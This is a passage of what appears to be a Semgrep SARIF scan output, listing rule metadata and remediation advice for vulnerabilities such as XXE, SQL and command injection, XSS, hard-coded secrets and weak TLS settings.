encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version","id":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","name":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.weak-ssl-version.weak-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","id":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","name":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","id":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","name":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"help":{"markdown":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","id":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","name":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","id":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","name":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","id":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","name":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"help":{"markdown":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw](https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"help":{"markdown":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config)\n - [https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy](https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy)\n","text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","id":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","name":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","id":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","name":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false)\n - [https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean)](https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean))\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false","id":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","name":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.cookie-issecure-false.cookie-issecure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"help":{"markdown":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","id":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","name":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","id":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","name":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"help":{"markdown":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag)\n - [https://brakemanscanner.org/docs/warning_types/content_tag/](https://brakemanscanner.org/docs/warning_types/content_tag/)\n","text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new 